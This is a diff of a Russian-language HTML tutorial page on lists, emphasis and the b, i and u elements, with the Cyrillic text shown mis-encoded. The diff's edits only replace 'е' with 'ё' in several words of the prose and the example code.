-Β Β Β &lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрСсткС&lt;/li&gt;
+Β Β Β &lt;li&gt;Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрёстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ&lt;/li&gt;
+Β Β Β &lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрёсткС&lt;/li&gt;
Β Β Β &lt;li&gt;Π¨ΠΊΠΎΠ»Π° справа ΠΎΡ‚ вас, Π² 300 ΠΌΠ΅Ρ‚Ρ€Π°Ρ… Π²Π²Π΅Ρ€Ρ… ΠΏΠΎ Π΄ΠΎΡ€ΠΎΠ³Π΅&lt;/li&gt;
&lt;/ol&gt;</pre>
@@ -444,8 +444,8 @@ textarea.onkeyup = function(){
&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;</code>Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π΄ΠΎΡ€ΠΎΠ³ΠΈ
ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΎ
-Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрСстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ
-ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрСсткС
+Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрёстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ
+ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрёсткС
Π¨ΠΊΠΎΠ»Π° справа ΠΎΡ‚ вас, 300 ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Π²Π΅Ρ€Ρ… ΠΏΠΎ Π΄ΠΎΡ€ΠΎΠ³Π΅<code>&lt;/textarea&gt;
&lt;div class="playable-buttons"&gt;
@@ -517,7 +517,7 @@ solution.addEventListener('click', function() {
updateCode();
});
-var htmlSolution = '&lt;ol&gt;\n&lt;li&gt;Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π΄ΠΎΡ€ΠΎΠ³ΠΈ&lt;/li&gt;\n&lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΎ&lt;/li&gt;\n&lt;li&gt;Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрСстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ&lt;/li&gt;\n&lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрСсткС&lt;/li&gt;\n&lt;li&gt;Π¨ΠΊΠΎΠ»Π° справа ΠΎΡ‚ вас, 300 ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Π²Π΅Ρ€Ρ… ΠΏΠΎ Π΄ΠΎΡ€ΠΎΠ³Π΅&lt;/li&gt;\n&lt;/ol&gt;';
+var htmlSolution = '&lt;ol&gt;\n&lt;li&gt;Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π΄ΠΎΡ€ΠΎΠ³ΠΈ&lt;/li&gt;\n&lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΎ&lt;/li&gt;\n&lt;li&gt;Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрёстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ&lt;/li&gt;\n&lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрёсткС&lt;/li&gt;\n&lt;li&gt;Π¨ΠΊΠΎΠ»Π° справа ΠΎΡ‚ вас, 300 ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Π²Π΅Ρ€Ρ… ΠΏΠΎ Π΄ΠΎΡ€ΠΎΠ³Π΅&lt;/li&gt;\n&lt;/ol&gt;';
var solutionEntry = htmlSolution;
textarea.addEventListener('input', updateCode);
@@ -601,7 +601,7 @@ textarea.onkeyup = function(){
Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ "Π³Ρ€ΡƒΠ±Ρ‹ΠΉ" хумус, ΠΈΠ·ΠΌΠ΅Π»ΡŒΡ‡Π°ΠΉΡ‚Π΅ ΠΏΠ°Ρ€Ρƒ ΠΌΠΈΠ½ΡƒΡ‚.
Если Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π³Π»Π°Π΄ΠΊΠΈΠΉ хумус, ΠΈΠ·ΠΌΠ΅Π»ΡŒΡ‡Π°ΠΉΡ‚Π΅ дольшС.
- По вкусу Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… количСствах Π»ΠΈΠΌΠΎΠ½ с ΠΊΠΎΡ€ΠΈΠ°Π½Π΄Ρ€ΠΎΠΌ, ΠΏΠ΅Ρ€Π΅Ρ† Ρ‡ΠΈΠ»ΠΈ, Π»Π°ΠΉΠΌ с Ρ‡ΠΈΠΏΠΎΡ‚Π»Π΅, хариссу с мятой ΠΈΠ»ΠΈ ΠΆΠ΅ ΡˆΠΏΠΈΠ½Π°Ρ‚ с Π±Ρ€Ρ‹Π½Π·ΠΎΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈ Ρ€Π΅ΡˆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ Π²Π°ΠΌ.
+ По вкусу Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… количСствах Π»ΠΈΠΌΠΎΠ½ с ΠΊΠΎΡ€ΠΈΠ°Π½Π΄Ρ€ΠΎΠΌ, ΠΏΠ΅Ρ€Π΅Ρ† Ρ‡ΠΈΠ»ΠΈ, Π»Π°ΠΉΠΌ с Ρ‡ΠΈΠΏΠΎΡ‚Π»Π΅, хариссу с мятой ΠΈΠ»ΠΈ ΠΆΠ΅ ΡˆΠΏΠΈΠ½Π°Ρ‚ с Π±Ρ€Ρ‹Π½Π·ΠΎΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈ Ρ€Π΅ΡˆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚ Π²Π°ΠΌ.
Π₯Ρ€Π°Π½Π΅Π½ΠΈΠ΅
@@ -725,7 +725,7 @@ textarea.onkeyup = function(){
<h3 id="Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_списки">Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ списки</h3>
-<p><span id="result_box" lang="ru"><span>Π’ΠΏΠΎΠ»Π½Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ список Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ.</span> <span>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ΄ΠΈΠ½ список располагался Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.</span> <span>Π”Π°Π²Π°ΠΉΡ‚Π΅ возьмСм Π²Ρ‚ΠΎΡ€ΠΎΠΉ список ΠΈΠ· нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρ€Π΅Ρ†Π΅ΠΏΡ‚Π°:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π’ΠΏΠΎΠ»Π½Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ список Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ.</span> <span>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ΄ΠΈΠ½ список располагался Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.</span> <span>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠΉ список ΠΈΠ· нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρ€Π΅Ρ†Π΅ΠΏΡ‚Π°:</span></span></p>
<pre class="brush: html notranslate">&lt;ol&gt;
&lt;li&gt;ΠžΡ‡ΠΈΡΡ‚ΠΈΡ‚Π΅ чСснок ΠΎΡ‚ ΠΊΠΎΠΆΡƒΡ€Ρ‹ ΠΈ ΠΊΡ€ΡƒΠΏΠ½ΠΎ Π½Π°Ρ€Π΅ΠΆΡŒΡ‚Π΅.&lt;/li&gt;
@@ -757,14 +757,14 @@ textarea.onkeyup = function(){
<h2 id="АкцСнт_ΠΈ_Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ"><span class="short_text" id="result_box" lang="ru"><span>АкцСнт ΠΈ Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ</span></span></h2>
<div id="gt-res-content">
-<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Π’ ΠΎΠ±ΠΈΡ…ΠΎΠ΄Π΅ ΠΌΡ‹ часто ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ слова, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ смысл прСдлоТСния и ΠΌΡ‹ часто Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слова ΠΊΠ°ΠΊ Π²Π°ΠΆΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€ΠΎΠ΄Π΅.</span> <span>HTML прСдоставляСт Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ сСмантичСскиС элСмСнты, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ тСкстовыС ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ с Ρ‚Π°ΠΊΠΈΠΌΠΈ эффСктами, ΠΈ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ рассмотрим нСсколько Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных.</span></span></div>
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Π’ ΠΎΠ±ΠΈΡ…ΠΎΠ΄Π΅ ΠΌΡ‹ часто ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ слова, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ смысл прСдлоТСния и ΠΌΡ‹ часто Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слова ΠΊΠ°ΠΊ Π²Π°ΠΆΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€ΠΎΠ΄Π΅.</span> <span>HTML прСдоставляСт Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ сСмантичСскиС элСмСнты, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ тСкстовыС ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ с Ρ‚Π°ΠΊΠΈΠΌΠΈ эффСктами, ΠΈ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ рассмотрим нСсколько Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных.</span></span></div>
<div class="trans-verified-button-small" dir="ltr"></div>
</div>
<h3 id="АкцСнт">АкцСнт</h3>
-<p><span id="result_box" lang="ru"><span>Когда ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°ΠΊΡ†Π΅Π½Ρ‚ Π² Ρ€Π°Π·Π³ΠΎΠ²ΠΎΡ€Π½Ρ‹ΠΉ язык, ΠΌΡ‹ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ слова, Ρ‚ΠΎΠ½ΠΊΠΎ измСняя смысл Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ.</span> <span>Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ Π½Π° письмСнном языкС ΠΌΡ‹ склонны ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Ρ‚ΡŒ слова, выдСляя ΠΈΡ… <em>курсивом</em>.</span> <span>НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° прСдлоТСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ значСния.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Когда ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°ΠΊΡ†Π΅Π½Ρ‚ Π² Ρ€Π°Π·Π³ΠΎΠ²ΠΎΡ€Π½Ρ‹ΠΉ язык, ΠΌΡ‹ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ слова, Ρ‚ΠΎΠ½ΠΊΠΎ измСняя смысл Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ.</span> <span>Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ Π½Π° письмСнном языкС ΠΌΡ‹ склонны ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Ρ‚ΡŒ слова, выдСляя ΠΈΡ… <em>курсивом</em>.</span> <span>НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° прСдлоТСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ значСния.</span></span></p>
<p><span class="short_text" id="result_box" lang="ru"><span>Π― Ρ€Π°Π΄, Ρ‡Ρ‚ΠΎ Ρ‚Ρ‹ Π½Π΅ ΠΎΠΏΠΎΠ·Π΄Π°Π».</span></span></p>
@@ -778,7 +778,7 @@ textarea.onkeyup = function(){
<h3 id="Π’Π°ΠΆΠ½ΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅"><span class="short_text" id="result_box" lang="ru"><span>Π’Π°ΠΆΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span></h3>
-<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ слова, ΠΌΡ‹ склонны ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² устной Ρ€Π΅Ρ‡ΠΈ ΠΈ <strong>Π²Ρ‹Π΄Π΅Π»ΡΡ‚ΡŒ ΠΆΠΈΡ€Π½Ρ‹ΠΌ</strong> Π½Π° письмСнном языкС.</span> <span>НапримСр:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ слова, ΠΌΡ‹ склонны ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² устной Ρ€Π΅Ρ‡ΠΈ ΠΈ <strong>Π²Ρ‹Π΄Π΅Π»ΡΡ‚ΡŒ ΠΆΠΈΡ€Π½Ρ‹ΠΌ</strong> Π½Π° письмСнном языкС.</span> <span>НапримСр:</span></span></p>
<p><span id="result_box" lang="ru"><span>Π­Ρ‚Π° ΠΆΠΈΠ΄ΠΊΠΎΡΡ‚ΡŒ <strong>ΠΎΡ‡Π΅Π½ΡŒ токсична</strong>.</span><br>
<br>
@@ -928,23 +928,23 @@ textarea.onkeyup = function(){
<h3 id="ΠšΡƒΡ€ΡΠΈΠ²_ΠΆΠΈΡ€Π½Ρ‹ΠΉ_ΡˆΡ€ΠΈΡ„Ρ‚_ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅...">ΠšΡƒΡ€ΡΠΈΠ², ΠΆΠΈΡ€Π½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅...</h3>
<div id="gt-res-content">
-<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ обсуТдали Π΄ΠΎ сих ΠΏΠΎΡ€, ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‡Π΅Ρ‚ΠΊΡƒΡŽ привязку ΠΊ сСмантикС.</span> <span>Битуация с {{htmlelement ("b")}}, {{htmlelement ("i")}} ΠΈ {{htmlelement ("u")}} нСсколько слоТнСС.</span> <span>Они появились Π² эпоху, ΠΊΠΎΠ³Π΄Π° CSSΒ  поддСрТивался ΠΏΠ»ΠΎΡ…ΠΎ ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ поддСрТивался</span></span><span lang="ru"><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ <strong>ΠΆΠΈΡ€Π½Ρ‹ΠΉ </strong>тСкст, <em>курсив </em>ΠΈΠ»ΠΈ <u>ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ</u> тСкст.</span> <span>Π’Π°ΠΊΠΈΠ΅ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π»ΠΈΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° внСшний Π²ΠΈΠ΄, Π° Π½Π΅ Π½Π° сСмантику, извСстны ΠΊΠ°ΠΊ элСмСнты прСдставлСния ΠΈ большС Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅, сСмантика ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Π° для доступности людям с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями, SEO ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</span></span></div>
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ обсуТдали Π΄ΠΎ сих ΠΏΠΎΡ€, ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‡Ρ‘Ρ‚ΠΊΡƒΡŽ привязку ΠΊ сСмантикС.</span> <span>Битуация с {{htmlelement ("b")}}, {{htmlelement ("i")}} ΠΈ {{htmlelement ("u")}} нСсколько слоТнСС.</span> <span>Они появились Π² эпоху, ΠΊΠΎΠ³Π΄Π° CSSΒ  поддСрТивался ΠΏΠ»ΠΎΡ…ΠΎ ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ поддСрТивался</span></span><span lang="ru"><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ <strong>ΠΆΠΈΡ€Π½Ρ‹ΠΉ </strong>тСкст, <em>курсив </em>ΠΈΠ»ΠΈ <u>ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ</u> тСкст.</span> <span>Π’Π°ΠΊΠΈΠ΅ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π»ΠΈΡΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° внСшний Π²ΠΈΠ΄, Π° Π½Π΅ Π½Π° сСмантику, извСстны ΠΊΠ°ΠΊ элСмСнты прСдставлСния ΠΈ большС Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅, сСмантика ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Π° для доступности людям с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями, SEO ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</span></span></div>
<div class="trans-verified-button-small" dir="ltr"></div>
</div>
<p><span id="result_box" lang="ru"><span>HTML5 ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» &lt;b&gt;, &lt;i&gt; ΠΈ &lt;u&gt; с Π½ΠΎΠ²Ρ‹ΠΌΠΈ, нСсколько Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹ΠΌΠΈ, сСмантичСскими ролями.</span></span></p>
-<p><span id="result_box" lang="ru"><span class="alt-edited">Π’ΠΎΡ‚ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ: ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ &lt;b&gt;, &lt;i&gt; ΠΈΠ»ΠΈ &lt;u&gt; для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ значСния, Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ, курсивом ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ, ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ подходящСго элСмСнта. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, всСгда Π²Π°ΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΌΠ΅Π½Ρ‚Π°Π»ΠΈΡ‚Π΅Ρ‚ доступности. ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ курсива Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ людям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ устройства для чтСния с экрана, ΠΈΠ»ΠΈ людям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ систСму письма, ΠΎΡ‚Π»ΠΈΡ‡Π½ΡƒΡŽ ΠΎΡ‚ латинского Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°.</span></span></p>
